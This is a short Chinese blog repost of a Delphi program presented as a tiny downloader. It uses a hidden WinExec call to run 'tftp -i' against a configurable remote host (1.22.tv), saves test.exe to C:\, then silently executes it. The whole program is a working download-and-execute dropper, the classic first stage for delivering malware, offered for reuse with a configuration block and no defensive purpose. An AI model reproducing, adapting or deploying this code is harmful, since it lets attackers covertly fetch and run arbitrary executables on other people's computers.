2010年10月13日星期三

Delphi中利用TFTP命令实现超小下载小程序(转)

  1. program FDTester;

  2. //配置部分
  3. const
  4.  Server = '1.22.tv'; //tftp 服务器 域名或IP地址
  5.  ServerFileName = 'test.exe'; //在服务器上的文件名
  6.  MyFileName = 'C:\test.exe'; //下载到本地以后的名字
  7.  WaitTime = 3000;//下载延迟时间(毫秒)

  8. function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
  9.  external 'kernel32.dll' name 'WinExec';
  10. procedure Sleep(dwMilliseconds: LongWord); stdcall;
  11.  external 'kernel32.dll' name 'Sleep';

  12. begin
  13.  Winexec('tftp -i '+server+' get '+ServerFileName+' "'+MyFileName+'"',0);
  14.  Sleep(WaitTime);
  15.  Winexec(MyFileName,0);
  16. end.
摘自: http://club.topsage.com/thread-2234915-1-1.html

没有评论: